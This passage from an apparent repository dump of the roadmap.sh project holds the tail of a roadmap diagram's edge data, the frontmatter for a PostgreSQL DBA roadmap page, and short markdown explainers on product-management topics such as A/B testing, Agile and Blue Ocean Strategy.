\"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"-M9EFgiDSSAzj9ISk-aeh\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"_BSR2mo1lyXEFXbKYb1ZG\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge--M9EFgiDSSAzj9ISk-aehz2-_BSR2mo1lyXEFXbKYb1ZGy2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"-M9EFgiDSSAzj9ISk-aeh\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"FtPiBWMFhjakyXsmSL_CI\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"id\": \"reactflow__edge--M9EFgiDSSAzj9ISk-aehx2-VjQ71xorBoxxDn-wSmUjmw2\"\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"7RoBFFZ0V_9T-z2vYjX75\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"ZqeSG0CHxGiCzoVkwee17\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-7RoBFFZ0V_9T-z2vYjX75x2-ZqeSG0CHxGiCzoVkwee17w1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"7RoBFFZ0V_9T-z2vYjX75\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"HiTZlR-asfVa80gY0ear1\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-7RoBFFZ0V_9T-z2vYjX75x2-HiTZlR-asfVa80gY0ear1w1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"FtPiBWMFhjakyXsmSL_CI\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"ANUgfkADLI_du7iRvnUdi\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-FtPiBWMFhjakyXsmSL_CIz2-ANUgfkADLI_du7iRvnUdiw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ANUgfkADLI_du7iRvnUdi\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"T819BZ-CZgUX_BY7Gna0J\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"id\": \"reactflow__edge-ANUgfkADLI_du7iRvnUdix2-T819BZ-CZgUX_BY7Gna0Jz1\"\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"T819BZ-CZgUX_BY7Gna0J\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"507TY35b8iExakbBMrHgZ\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-T819BZ-CZgUX_BY7Gna0Jy2-507TY35b8iExakbBMrHgZz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"T819BZ-CZgUX_BY7Gna0J\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"2Zg8R5gs9LMQOcOMZtoPk\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"id\": \"reactflow__edge-T819BZ-CZgUX_BY7Gna0Jx2-2Zg8R5gs9LMQOcOMZtoPkw1\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"2Zg8R5gs9LMQOcOMZtoPk\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"gb75xOcAr-q8TcA6_l1GZ\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-2Zg8R5gs9LMQOcOMZtoPkz2-gb75xOcAr-q8TcA6_l1GZy2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"2Zg8R5gs9LMQOcOMZtoPk\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"l0lpaPy12JFCJ-RRYVSqz\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-2Zg8R5gs9LMQOcOMZtoPkz2-l0lpaPy12JFCJ-RRYVSqzy2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"2Zg8R5gs9LMQOcOMZtoPk\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"EKwO6edtFnUw8cPCcVwKJ\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-2Zg8R5gs9LMQOcOMZtoPkz2-EKwO6edtFnUw8cPCcVwKJy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"2Zg8R5gs9LMQOcOMZtoPk\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"zlqSX0tl7HD9C1yEGkvoM\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-2Zg8R5gs9LMQOcOMZtoPkx2-VjQ71xorBoxxDn-wSmUjmw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zlqSX0tl7HD9C1yEGkvoM\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"e5s7-JRqNy-OhfnjTScZI\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-zlqSX0tl7HD9C1yEGkvoMy2-VjQ71xorBoxxDn-wSmUjmw1\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"xi5uZ_VOH4rVNu_0ZLAX9\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"C0MAuAb1CfohTuTMkCjso\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-xi5uZ_VOH4rVNu_0ZLAX9x2-ctKJI9oHts6Agrg4eFfjyw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"C0MAuAb1CfohTuTMkCjso\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"ctKJI9oHts6Agrg4eFfjy\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-C0MAuAb1CfohTuTMkCjsox2-ctKJI9oHts6Agrg4eFfjyw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"TJSsoD5U78tOydPhxuPzK\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"g007fG2EVP9RDAq7wKaP4\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-TJSsoD5U78tOydPhxuPzKz2-g007fG2EVP9RDAq7wKaP4y1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"p3aTmNDWH7hCJUy3YYG65\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"C_cUfEufYeUlAdVfdUvsK\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-p3aTmNDWH7hCJUy3YYG65y2-C_cUfEufYeUlAdVfdUvsKw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"QfyHG6cVuKQ3iqdEtoFSU\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"yjCh_34KRPysCR_1-ham3\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"id\": \"reactflow__edge-QfyHG6cVuKQ3iqdEtoFSUx2-xOLVCPum_oCJo00obtZfJw1\"\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"xOLVCPum_oCJo00obtZfJ\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"G9DB1ZQjgXaHxJ4Lm6xGx\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-xOLVCPum_oCJo00obtZfJy2-G9DB1ZQjgXaHxJ4Lm6xGxz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"FDuiJyU1yWUQ9IsfS3CeZ\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"Dhhyg23dBMyAKCFwZmu71\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-FDuiJyU1yWUQ9IsfS3CeZx2-NhodBD8myUTljNdn3y40Iw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Dhhyg23dBMyAKCFwZmu71\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"jihXOJq9zYlDOpvJvpFO-\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-NhodBD8myUTljNdn3y40Iz2-jihXOJq9zYlDOpvJvpFO-y2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Dhhyg23dBMyAKCFwZmu71\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"2chGkn5Y_WTjYllpgL0LJ\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-NhodBD8myUTljNdn3y40Iz2-2chGkn5Y_WTjYllpgL0LJy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Dhhyg23dBMyAKCFwZmu71\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"LT5qRETR3pAI8Tk6k5idg\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-NhodBD8myUTljNdn3y40Iz2-LT5qRETR3pAI8Tk6k5idgy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Dhhyg23dBMyAKCFwZmu71\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"NhodBD8myUTljNdn3y40I\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-Dhhyg23dBMyAKCFwZmu71x2-NhodBD8myUTljNdn3y40Iw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"NhodBD8myUTljNdn3y40I\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"8H7hJhGKxr1nrjkHv9Xao\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-NhodBD8myUTljNdn3y40Iy2-8H7hJhGKxr1nrjkHv9Xaoz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"NhodBD8myUTljNdn3y40I\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"Jy0G0ZnHPOM8hba_PbwuA\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-NhodBD8myUTljNdn3y40Iy2-Jy0G0ZnHPOM8hba_PbwuAz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"NhodBD8myUTljNdn3y40I\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"eQzMU_KyQmHJQ6gzyk0-1\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-NhodBD8myUTljNdn3y40Iy2-eQzMU_KyQmHJQ6gzyk0-1z1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"sVXZrBCsiSzWBBYWTm-nQ\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"PShueM-HfMGu2Jy1dt73g\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"STQQbPa7PE3gbjMdL6P-t\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"sVXZrBCsiSzWBBYWTm-nQ\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-STQQbPa7PE3gbjMdL6P-tx2-sVXZrBCsiSzWBBYWTm-nQw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"kc6buUsLAeZeUb4Tk0apM\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"sVXZrBCsiSzWBBYWTm-nQ\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-kc6buUsLAeZeUb4Tk0apMx2-sVXZrBCsiSzWBBYWTm-nQw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"NhodBD8myUTljNdn3y40I\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"sVXZrBCsiSzWBBYWTm-nQ\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-NhodBD8myUTljNdn3y40Ix2-sVXZrBCsiSzWBBYWTm-nQw1\",\n      \"selected\": false,\n      \"focusable\": true\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/postgresql-dba.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/postgresql-dba.json'\npdfUrl: '/pdfs/roadmaps/postgresql-dba.pdf'\nrenderer: 'editor'\norder: 5\nbriefTitle: 'PostgreSQL'\nbriefDescription: 'Step by step guide to become a PostgreSQL DBA in 2025'\ntitle: 'PostgreSQL DBA'\ndescription: 'Step by step guide to becoming a modern PostgreSQL DB Administrator in 2025'\nhasTopics: true\ndimensions:\n  width: 969\n  height: 3675\ncourses:\n  - title: 'Complete Course to Master SQL'\n    description: 'Learn SQL from scratch with this comprehensive course'\n    link: 'https://roadmap.sh/courses/sql'\n    features:\n      - '55+ Lessons'\n      - 'AI Tutor'\n      - 'Coding Environment'\n      - 'Quizzes'\n      - 'Certification'\n    instructor:\n      name: 'Kamran Ahmed'\n      image: 'https://github.com/kamranahmedse.png'\n      title: 'Founder - roadmap.sh'\nseo:\n  title: 'DBA Roadmap: Learn to become a database administrator with PostgreSQL'\n  description: 'Community driven, articles, resources, guides, interview questions, quizzes for PostgreSQL. Learn to become a modern database administrator by following the steps, skills, resources and guides listed in this roadmap.'\n  keywords:\n    - 'guide to becoming a database administrator'\n    - 'guide to becoming a DBA'\n    - 'dba roadmap'\n    - 'db administrator roadmap'\n    - 'database administrator roadmap'\n    - 'database administrator roadmap 2025'\n    - 'postgresql roadmap'\n    - 'postgresql roadmap 2025'\n    - 'dba skills'\n    - 'db administrator skills'\n    - 'become dba'\n    - 'postgresql skills'\n    - 'modern dba skills'\n    - 'dba skills test'\n    - 'skills for dba'\n    - 'skills for database administrator'\n    - 'learn dba'\n    - 'what is dba'\n    - 'database administrator quiz'\n    - 'dba interview questions'\nrelatedRoadmaps:\n  - 'sql'\n  - 'mongodb'\n  - 'backend'\n  - 'devops'\n  - 'full-stack'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'role-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/product-manager/content/ab-testing@V3yGVN7z_ihLkScO0_92_.md",
    "content": "# A/B Testing in Data-Driven Decision Making\n\nThe role of a Product Manager often requires making informed decisions to improve product performance and user experience. This is where A/B Testing, a vital aspect of data-driven decision making, comes into play. A/B Testing, also known as split testing, involves comparing two versions of a webpage, ad, or other product experience to see which performs better. It is a methodical approach that enables product managers to determine the impact of changes and make data-driven decisions. It helps reduce the inherent uncertainty in introducing new features or changes and is a key tool in the product manager's arsenal."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/ab-testing@Ws7IFrHQNoBjLE2Td2xIZ.md",
    "content": "# A/B Testing\n\nA/B testing, otherwise known as split testing, is an essential statistical tool that is central to the responsibilities of a product manager. This method involves comparing two versions of a webpage, product feature, or user interface to determine which performs better according to certain metrics or goals. It allows product managers to make data-driven decisions and improve the product based on real user experiences and preferences. A solid understanding of A/B testing methods and application equips product managers with the ability to optimize user engagement, retention and conversion rates."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/active-listening@FwYc1942Z0_KYih0BQ1CL.md",
    "content": "# Active Listening\n\nActive Listening is a fundamental skill for a Product Manager. It involves giving full attention to the speaker and showing interest in the information provided. This encompasses comprehending, retaining, and effectively responding to the speaker. For a Product Manager, Active Listening is crucial for understanding the requirements of customers, stakeholders, and team members. It enables a comprehensive understanding of user needs and promotes inclusive decision-making while formulating product strategies."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/advanced-analysis@9y_I41kJhkmyBJjiTw8Xd.md",
    "content": "# Advanced Analysis\n\nThe field of Advanced Analysis plays a pivotal role in the domain of Product Management. As the driving force behind decision-making, it incorporates sophisticated methods and tools to draw meaning from data, enabling Product Managers to extract actionable insights. This subject involves applications such as Predictive Modeling, Statistical Analysis, and Machine Learning algorithms to yield a deep understanding of user behavior, market trends, product performance and forecast potential outcomes. With the power of advanced analysis, Product Managers can create data-driven strategies, optimize the user experience, and accelerate overall product growth."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/agile-methodology@sAu4Gr1hg8S4jAV0bOSdY.md",
    "content": "# Agile Methodology\n\nAgile Methodology in product management refers to an iterative approach to project management and product development, where requirements and solutions evolve through collaboration among cross-functional teams. As a Product Manager, understanding Agile is essential since it not only speeds up the development process but also allows flexibility in response to changes. Agile can positively impact your product planning, product development, and customer feedback loop ensuring consistent improvement and value delivery."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/aha@dr5BLjsZXk50R7vp3cMsu.md",
    "content": "# Aha as a Roadmapping Tool\n\nAha, as a roadmapping tool, is an indispensable toolset in the arsenal of a Product Manager. It's a comprehensive product management suite that focuses on strategy and roadmapping. Its ability to build visual roadmaps, prioritize features, capture ideas, and define requirements makes it one of the most widely used product management tools. As a product manager, mastering Aha can enable you to envision and articulate strategic product plans while staying aligned with your company's goals."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/ai-in-product-mgmt@H7sf23kwv73XjnFCdKHPi.md",
    "content": "# AI in Product Management\n\nArtificial Intelligence (AI) has been increasingly instrumental in shaping the field of product management. As a product manager, it is crucial to comprehend the implications and applicability of AI in managing products effectively. AI can aid in forecasting trends, understanding customer behavior, automating routine tasks and improving decision-making processes. Grasping the full potential of AI can greatly assist product managers in building more effective strategies and in constantly refining their products to meet customer needs. It's a powerful tool that can significantly heighten the intelligence and efficiency of a product environment."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/alignment--buy-in@D5GXDeApGwjmLG2-KF2pr.md",
    "content": "# Alignment & Buy-In\n\nAlignment and Buy-In is a crucial aspect of product management. As a Product Manager, one needs to ensure that the team is aligned with the product vision and roadmap. This involves gaining buy-in from key stakeholders, including those at higher levels (executives, CEOs) and those working on the product directly (designers, developers, etc). An effective Product Manager is skilled at presenting compelling arguments to win the support of different stakeholders, fostering a shared understanding of objectives, and ensuring that everyone is onboard and enthusiastic about the product's success. This dynamic involves communication, leadership, negotiation, and persuasion skills."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/amplitude@Z5oorppEJ0ydvwMXSlk1J.md",
    "content": "# Amplitude\n\nAmplitude is an exceptional analytical tool that offers in-depth insights about user behavior, allowing product managers to optimize their products based on real-time data. Equipped with features like funnel analysis, retention analysis, and user segmentation, Amplitude provides an essential understanding of how users interact with products. For product managers, understanding these interactions is crucial in decision-making, prioritizing product improvements, and enhancing the overall user experience. Thus, Amplitude serves as a valuable resource for Product Managers looking to drive product growth and maximize user engagement."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/analytics-tools@lJ_7-oYaFWST8aBd5lIgM.md",
    "content": "# Analytics Tools for Product Management\n\nProduct Managers, being key decision-makers in the product life cycle, need to have a deep understanding of their product’s performance. For this, they rely heavily on data. This is where Analytics Tools come into play. These tools provide critical insights into user behavior, product usage, and market trends, which help product managers to make data-driven decisions. They range from user analytics tools to business intelligence platforms, each providing different perspectives of data. Mastering these tools is a fundamental aspect of becoming an effective product manager."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/backlog-management@lq5Hl1ZXBQRRI_4ywn7yA.md",
    "content": "# Backlog Management\n\nBacklog Management is a critical aspect in the role of a Product Manager. It involves organizing and prioritizing a list of tasks or features - known as the \"backlog\" -that are required for the development of a product. Effective backlog management ensures that the product team is working on the most valuable features at the right time, thereby maximizing the product's value and reducing time to market. It requires continuous collaboration with stakeholders, balancing business needs with technical feasibility, and strategically planning to meet short and long term objectives."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/baseline@GPRqshiha8Pi4a4ImW8-5.md",
    "content": "# Baseline-based Goals\n\nThese goals aim to maintain or improve the current level of performance, such as keeping customer satisfaction scores above a certain threshold."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/blue-ocean-strategy@gjdCSm_jZmG_q6YjG_8Qu.md",
    "content": "# Blue Ocean Strategy in Product Identification\n\nBlue Ocean Strategy is a significant methodology in product identification for a Product Manager. It's a marketing theory from a book published in 2005 which advocates the creation of new demand in uncontested market spaces, or \"Blue Oceans\". Rather than competing within the confines of the existing industry or trying to steal customers from rivals (Red Ocean Strategy), Blue Ocean Strategy proposes to create a new space in the market, thereby making the competition irrelevant. \n\nFrom a product management perspective, this involves implementing innovative ideas, seeking new opportunities and envisioning potential markets. Product Managers, hence, are able to utilize this strategy to develop unique products that can trigger exponential growth and success for their organizations. In a nutshell, Blue Ocean Strategy provides a creative and systematic approach towards successful product identification and differentiation.\n\nLearn more from the following resources:\n\n- [@video@How To Differentiate Your Business With BLUE OCEAN STRATEGY](https://www.youtube.com/watch?v=UKDxj6W7CXs)\n"
  },
  {
    "path": "src/data/roadmaps/product-manager/content/brainstorming-techniques@69IgqluiW9cVfezSIKInD.md",
    "content": "# Brainstorming Techniques for Product Identification\n\nWhen it comes to the role of a Product Manager, brainstorming techniques are paramount, especially during the stage of Product Identification. This initial stage involves the generation and rallying of innovative ideas that could potentially translate into a viable product. The Product Manager is required to leverage different techniques, like mind maps, SWOT analysis, SCAMPER, or Six Thinking Hats, to effectively encourage creativity, drive cross-functional collaboration, and foster a breeding ground for market-leading product concepts. Effective brainstorming sessions can reveal unique market opportunities, create an alignment of vision among teams, and contribute to the overall product strategy."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/brainwriting@0emyqhl028_M6tdilfFC3.md",
